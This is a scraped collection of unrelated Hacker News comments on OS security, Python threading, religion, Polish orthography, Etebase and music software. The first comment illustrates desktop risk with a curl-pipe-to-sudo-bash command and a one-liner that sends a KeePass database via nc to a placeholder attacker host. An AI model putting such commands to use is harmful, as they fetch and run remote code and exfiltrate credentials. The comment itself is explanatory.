skysight-inc/HackerNews huggingface dataset:
Windows isn't running anything as admin by default for a decade now. Every action that requires elevated privileges is asking for permission via UAC, same as (gk)sudo but more secure.

> the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user

These are standard practices on every OS that every sane admin implements. Again, just because someone's grandma runs windows 95 under Administrator, doesn't make modern deployments less secure. Also, by far the most popular command on linux is something like `curl -sL https://deb.nodesource.com/setup_12.x | sudo bash`. Do we need to discuss how your security configuration is irrelevant once you run this? This doesn't even require Xorg, and see about 'sudo' part below.

> sticking the UI into the kernel

Last time I checked, Xorg was running as root pretty much everywhere which if not at all different from security perspective.

But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account, doesn't matter if the account has admin privileges or not. If any of your desktop software is exploited via numerous vulnerabilities, or you ran custom script from the internet like the one above - even without sudo, - you are pretty much fucked, because these things can install a keylogger as current user and/or add a cron job or a daemon (again as current user) which will do obfuscated analog of `find ~ -name keepass.kdbx -print0 | xargs -0 cat | nc evil.haxxor.ru 1234` and it will go unnoticed for years.

Security model of all both Linux and Windows is so far behind the real world that it doesn't make any sense to discuss which one of them is more secure.
>In several jobs in recent years I've also had to develop on very resource heavy Java applications which absolutely cripple my MacBook Pro 16GB when running a browser with several tabs ope

On the flip side, I've got 16 gb and when I've checked I don't think I've ever been using half of that. There's definitely scenarios where it could happen, but for general programming on non gigantic problems 16gb is plenty.

RAM is also less important these days with fast SSDs. With a spinning disk having to read a file was a performance killer. But SSDs have very high throughput and having to use the page file isn't as big of a deal as it once was.
Yeah they could at least comment on why they are not taking any action.
It is a silly article, but there is an important distinction that I think you're missing. In a typical hierarchical organization there is a clear heterogeneity in job skills. The fry cook at McDonalds does not have, and will likely never have, the skills necessary to become an executive. Similarly in a law firm the secretary cannot advance to become a law partner: he is not a lawyer. There is no expectation that the line worker would ever become the CEO, at least not without going back to school.

But in academia, and I suppose in a criminal gang, everyone has the same skillset. PhDs are notionally being trained with the specific abilities necessary to become a professor. Those at the very bottom have the capability to move to the very top, and likewise are hoping to do so.
But that is a bit different. What you see and hear directly from other people is already a filtered view. The ads that lead to bad products never influence you nor do they take your attention. Some stuff passes through but with some common sense it could all be avoided.

I share the sentiment of the OP; i am shielded from ads and even if they come through some way or another it’d influence me personally very little: i rarely buy stuff and when I do I research extensively. Some brands that are overly advertised are also a red flag to me.

But, I am aware I am in minority here. And those like us have a negligent impact at best. I think advertising does heavily influence the masses.
Thanks, well the main reason is that I'm on a different, isolated computer to usual and don't remember my password to my usual account off the top of my head, but still felt a burning desire to comment.

Secondary reason is I quite enjoyed the irony of writing all that from a newly created account.
It changed. You use kmutil create to create the artifacts and add the hash to the Secure Boot policy. (--help at https://pastebin.ubuntu.com/p/mN3Z2kfJWy/, no manpage)
Damn, this is true garbage. Drumph/orange man bad throughout.
Well, I grew up working only with lead free solder (learnt soldering in school in the EU, and RoHS applies for such purposes as well), and honestly, I can't see why they wouldn't. Lead free solder might be a bit easier to work with, but in the end not having a poison everywhere around you is gonna allow you to focus on the real issues instead.
I think AirBnB invested in them
This is amazing, and obvious in retrospect. Gradual compilation can be adopted, well, gradually, without breaking existing code. 100% upside, 0% downside. PyPy team should consider making this delivery mode the #1 priority. Even worth reconsidering the object management impedance as well, and go for 100% compatibility with CPython object model. I suspect this would have a small runtime cost, but a would be a huge boon for smooth risk-free adoption.
Just curious, what kind of drivers are missing?
No, I wasn't saying that REST was the same as CQRS. I was replying to the comment that made the case that GraphQL was similar to CQRS because it separated reads from writes by having queries and mutations. I'm saying that REST also separates reads from writes in almost identical capacity. Neither of them are comparable to CQRS.
It's a class 1M laser and a 100% eye safe. We've had it thoroughly tested and certified.
Show HN: Etebase – An open source and end-to-end encrypted Firebase alternative
Mobile and device proliferation more broadly snuck up on a lot of people. (Including me. I wrote a piece in 2003 about Apple morphing into an entertainment company and it was way too living room-centric. http://bitmasons.com.s3-website-us-east-1.amazonaws.com/pubs...)

The general view in the 1990s into the early 2000s was that you would have a centralized home computer/storage hub/etc. that everything else connected to.
Global Consciousness as a Source of Entropy
My point is about doing research without PhD as a hobby. Since I would not get paid anyway, I do not see reason to spend a few years, just to get paperwork sorted. Most data are publicly available. Most researchers are very happy for helping hand.

Privately founded research instruments are different topic.

LIGO data are here:
https://www.ligo.caltech.edu/page/ligo-data

Xray data are also publicly available, I would suggest skyview
https://skyview.gsfc.nasa.gov/current/cgi/query.pl

Requests for Arecibo telescope are here:
https://www.naic.edu/ao/scientist-user-portal/proposal-submi...
Little theological tidbit here:

In Catholicism, there is a distinction between God's permissive will and God's active/perfect will.

God's permissive will is what God allows to happen, even if he does not desire it. God, for instance, gives us free will, which entails the ability to sin, but God does not desire that we sin.

God's active/perfect will is what he actually desires for us.
Sketch will lose to Figma as long as it is not cross-platform. It's as simple as that.
This doesnt just cover economics, but it's a good place to start. You can look at a CFA Foundations certification. I think it's free now.
This would incentivize the rock-star attitude, leading to a large number of posts created by people to have followers. This, in turn, will lead to the exclusion of stories and comments from people who don't want to spend time gaining followers.

Rock-star is the antithesis of hacker, imho.
Yeah but polls routinely show that 4% of people think Obama is a lizard:

https://slatestarcodex.com/2013/04/12/noisy-poll-results-and...

Very often you do encounter polls these days where an absurdly huge number of people give hilariously trollish answers to pollsters, and then people take the resulting polls completely seriously. Pollsters try to include 'attention check' questions to catch basic issues like people just pressing yes to every question, but I do see very often polls that quite obviously can't match reality without anyone noticing it. There's something about maths that switches people's brains off.
The parent claimed that GraphQL has different DTOs for reads and writes. That could make it CQRS compatible, couldn't it?

I don't know if it would be any more idiomatic for GraphQL than it would be for REST.
One use case is IO bound applications. Similar to NodeJS which can handle 10K concurrent IO calls on a single thread, python releases the GIL on IO. So you can write pure python and have multi threading and have all the benefits of "parallelism" depending on whether or not python releases the GIL which it does with certain libraries and on IO.

For all else use multiprocessing.
Yeah, the iPad Air is tempting, but I want a "big" screen for photo editing while traveling. If there was a 12" Air, I'd already own it.
They did it. They finally added comping.

I would be buying the upgrade if that was the only feature but there's so many!
> Python's "threads" are actually fibers.

They’re actually not. They are native threads with high lock contention.

Async is arguably fibers, as are greenthreads in libraries like gevent or eventlet.

> But if you want to use real threads, multiprocessing's "processes" are actually system threads.

They’re system threads running in separate memory spaces. Also known as… processes.
Agree. Agree.
It's pretty refreshing that people have courage and start ambitious projects like this one :).

I hope projects like this get some traction and prove that we can move higher level than where we are atm with the frontend/frontend-backend code.
This is a handy tool, big thanks to the dev who put this together. This is going to be an excellent educational tool. My only suggestion I have is to add links to the docs for the detail page's relevant function.
Brushing up on the difference between NA and NaN, makes the article considerably easier to read

NA - Not available
NaN - Not a number

See this short and concise article on the differences: https://jameshoward.us/2016/07/18/nan-versus-na-r/
Thanks for this Pablo. I find this a good intro to LA as well as a tutorial on Numpy! Just one feedback would be good to have the TOC handy as we click around or a way to jump back to the top.
The laser system made me wonder. How does it handle fog and mist, and what would happen if a flock of birds would fly past?
People have actually automated ideas like that: https://news.ycombinator.com/item?id=25059134
Maybe! It doesn’t sound like a SaaS. It sounds like a community/social network.

You can build this asan MVP in an hour using google sheets and no code tools. Get them to meet on Zoom or one of the better web-based video conferencing systems. So maybe do that first and then try to pitch people to sign up for $1 and then slowly increase the price.

You need to figure out how you’ll reach people.

I think if you can create a lot of useful content around setting goals that might help. People come for the content and then might decide to upgrade to the service.
Charges and Guilty Plea of Former Philadelphia Judge of Elections (May 2020)
>I was actually just having this conversation with my spouse. I wish the church was more popular (even though I am unbelievably against the negativity and judgments associated with US Christianity).

I am certainly an atheist but as Sam Harris attempts to evaluate morality in some books. There is a non-religious aspect that religions provide to their adherents. It's not even just atheism but rather just the lack of 'going to church' amongst those who still believe themselves to be Christian.

>The world is better when people have a common ground, I believe. Nothing is there to fill the void; it feels like people are just blindly groping for something to be a part of.

It's that need for community but the complete false community that reddit and facebook provide is a trap. Worse than a trap perhaps.

> It's maybe my lack of creativity, but I can't come up with anything except the church, or old-timey civic organizations (Masons, Elks, Moose lodge, etc) to provide this.

There's loads of options, there are fishing groups. Rowing clubs. Sports teams. But that doesnt fulfill that entire need. 1500 years ago, there wasn't endless amounts of entertainment. People talked and did things together. Religions knew that a need for people were these things and developed them. For thousands of years everyone got that need from religion and there wasnt a need for other options. Or for that matter religion made it impossible for those others to provide.

>I don't know what to do with any of that, but there it is.

The obvious reality that Christianity mostly went unchanged for 2000 years and only forces outside the religion has made them change. The fundamental basis of Christianity is over and they can work very hard to fix themselves but it's a futile effort because if you remove all the sexism and various other hatred, or for that matter any bullshit out of the Bible. You are left with a pamphlet.

The movement forward isnt to go back to religion. It's the understand what is missing and replace it. What's interesting is that it's replacement will have to be called religion in order to gain the 'freedom of religion' protections that many constitutions provide.
But this product segmentation is not at all new. Apple has never had a "pro" workstation-style laptop like the Thinkpad P. The MacBook Pro line has always been relatively-thin, relatively-light, not-very-upgradable: going back almost fifteen years.

I agree that Apple isn't trying to serve the market for "portable workstation", but they never really have, so why do you say they have lost their way?

It's also worth saying you can still buy a 16" MacBook Pro with an 8-core i9 processor, 64GB of RAM, a Radeon Pro 5600M with 8GB of RAM, 8TB of SSD storage - a specification that's hardly "casual".
How much does the unified license from the Department of Telecommunications that they mention in the About page cost?

https://www.wifidabba.com/about
The goal is to see perspectives outside your echo chamber.
Wow, seriously? Of all things to pray about in 2020...this is the priority?

Not covid, global warming, famine caused by global warming/covid, inequality, no world wars / stability in American politics (i.e. a peaceful transition of power), water wars, people dying by disease or racism...

God, I know there's a ton of pain in the world, but can you do me one solid and make sure Robots don't kill us all?
Poland has been in an awkward position where it was politically allied with the West, but culturally similar to the East. The Eastern countries weren't ones one wanted to be politically or economically connected to, though.

This gave Poland a position where it had strong economic progress, both due to an excellent school system and membership in the EU, but where it was discriminated against by Western powers which pushed Greco-Roman-Germanic culture, which is quite distinct and different from Slavic culture. Many Poles have an unwarranted inferiority complex, and many Western Europeans have a superiority complex.

The Polish Plumber ads played on some of that, in uniquely Polish ways: https://en.wikipedia.org/wiki/Polish_plumber
How to use Sudo in Windows 10 Powershell
You shouldn't be downvoted. Trump "taking on the deep state" isn't even a conspiracy theory, he literally made that a major part of his 2016 campaign. If deep state/swamp/etc is interpreted as a vague reference to the Washington/New York professional classes who populate government in huge numbers and tend to share very similar worldviews and beliefs, then calling this a QAnon pushed conspiracy theory would be a pretty grotesque distortion of the truth: conservative politicians have campaigned on rolling back big government for as long as there have been competitive elections.
Mobile App Pricing: How to choose the best pricing strategy for your Mobile App
The current effort is done with this out of tree repository: https://github.com/iains/gcc-darwin-arm64

Which supports macOS on Apple Silicon quite well, hopefully will be merged soon to mainline GCC.
As a UI and UX nerd, one thing I really love about the digital music production scene is that software companies writing DAWs and VSTs know their audience and strive to give power users all the tools they need to be as productive as possible. Knobs, curves, programming (Max for Live), integration with external tools.

In other fields of software development instead we dumb everything down to the lowest denominator, and power users can't be at their most productive because we're scared of complexity and build around the casual, computer illiterate user.

Imagine what Ableton would look like if they were only optimising for the user that wants to put a couple of pre-made loops together and call it a song.
I'm no expert, but I believe there is more to it then that. According to the Catholic church we all have free will, and with that comes the responsibility to keep these kinds of things under control.
I know for example the Pope and Catholic church consider it a sin to pollute and say we have a moral responsibility to keep global warming in check.
There are some other Christian religions that are more deterministic about this and think "Let Gods will be done" in regards to both AI and pollution, but I am not sure how popular they are
NASA interview: “The worst collision in the history of human space flight” [pdf] (1998)
Would lines of code be a good measure?
Or why are other packages patched? Is it because it takes long to accept them at upstream?

But why is kernel is patched by distros at all? I run kernel from kernel.org always and don't see any issues.
The video is 10:47 long.
This is very interesting. Another valuable information, albeit involving quite a bit of work, would be to show parameters associated with that specific area.
Another well-written and rounded article:

https://thoughtcatalog.com/shahida-arabi/2016/06/20-diversio...
iSwift Objective-C to Swift website goes on sale
Your interpreter or JIT already knows exactly what gets executed. Is there some way to get it to tell you?
Personally, the user experience is bad in Figma, as each time it wants me to login in the browser while using the Figma desktop app. Every time you start up the app :(

Also requires me have a working internet to be able to use it. Sketch or Affinity Designer don't have these problems. I hope they will fix that problem with Figma.
I hope you've never visited Producthunt ;) Clap
Very fair comment. I guess that most developers don't see it as a huge issue though (I've not seen any issues with Apps that I use on Catalina). Direction of travel is towards more onerous Apple involvement.
"There are four physics courses, so having 'Math courses' in the title is pedantically incorrect, so I will remove it."
You can do more then one thing at a time. I am pretty sure the pope has spoken on all these topics
Months-old Chrome tabs are not resident in RAM.
I don't think clearly defined boundaries are what's needed. People just need to keep in mind that the purpose of tests is to catch bugs. When I modify this code, what tests will tell me that it still does what it's supposed to? Keeping that question at the fore will work better than any cookbook.
Yeah it looks like it runs on the client side right? While I was expecting a proper plugin running on the postgresql side.
but movies are still 24000/1001 fps
Point is, current energy sources can be stopped and reworked, once you go with nuclear disaster you assume the 20k year scenario. Tell me you won't change your opinion in that time span.
I have to disagree completely. Problem is, I am native speaker...
I presume it was written by the Dutchman. Well, there are reasons why we keep ó and u and treat it separately. The reason is, it's a different phoneme. ó is open, said with round lips, while u is posterior syllable. Totally different sound.
The same goes with other phonemes that are simply not represented in Cyrillic, such as ch (posterior version of h).
Political reasons apart (Russians actually tried to impose there spelling here and it didn't go well; see metrical books written in Cyrillic - incorrect spelling, translating first names, etc.), there are reasons why we keep our specific spellings.

Personally, I can't see why we keep using cz instead of č or sz instead of š. But I know that historically speaking we did. It came from Czech. There are few remains, for instance ł (which does not sound like l, it sounds more like wh in which, what, why ;) ). The funny thing Czech people dropped it :)
But this is another story; it probably has something to do with national pride. To some extent Cyrillic might have something to do with pride and independence, but the fact is Polish is very far from Russian (it's Western Slavonic language after all) and there are many sounds that there is no way to properly describe in it. Problem is, these sound might be hard to distinguish for people that does not use Polish as their mother tongue... Tough luck :)
Excited to finally post it on HN. It's something I've been working on for the last year, though in a sense, for much longer!
Etebase is an open-source SDK and backend-as-a-service for building end-to-end encrypted applications. Think Firebase but end-to-end encrypted.

More users care about the privacy and security of their data every day, and encrypted applications are becoming mainstream. However, talking with developers, many get encryption wrong, and they don't even realise it. As good cryptography and bad cryptography look identical to the untrained eye.

The idea behind Etebase is to make an easy-to-use API to enable developers to build encrypted apps, and it's based on our learnings from building EteSync[2] over the years. There's still a lot more to get done, but Etebase is already used in GNOME, KDE, Tasks.org, EteSync, and more. With libraries available for Rust, JavaScript/TypeScript, Java, Python and C/C++.

I hope Etebase will enable a new age of privacy-first and end-to-end encrypted applications, and that our data will no longer be used to track, analyze and manipulate us. Your data, yours only. Let's end-to-end encrypt everything!

I'd love to hear about your experience building encrypted applications. Got any questions? Suggestions? Please let me know!

Docs: https://docs.etebase.com/

[1] https://libsodium.org

[2] https://www.etesync.com
I am probably the last person to talk about the difference between fortran version, but isn't the linked compiler for FORTRAN 2003 and 2008, whereas R needs a FORTRAN 90 compiler?
> If it's bottle necked by both IO and compute or only compute then multiple processes are better.

This is why I started this whole thread. The myth that you can't multithread compute in Python is so pervasive that even when we're in the middle of a thread specifically about the topic, and right next to my comment where I show hashlib specifically does release the GIL, there's still a comment saying that multiple processes are needed for compute parallelism.
Counterpoint, NPR and PBS are doing a great job so far.
No man. Python threads are not fibers. This is factually wrong. Please Read: https://wiki.python.org/moin/GlobalInterpreterLock
A lot of startups don't have a legal department.
How popular is R in general?

I started learning it because I want to make an attempt to do some projects on Kaggle. Most people use Pandas, Seaborn, etc, which I will also use.

However, to me R appears like a little better Swiss Army Knife to do initial analysis. ggplot2, tidyverse, ...

Any help leveling up would be appreciated.
Does the e-waste recycler assess whether the incoming hardware is still functional and should be preserved, or is it required (by contract) to destroy / recycle the hardware?
For someone like me who uses Logic, is there a reason to use Ableton?
Logic is only one $200 lifetime fee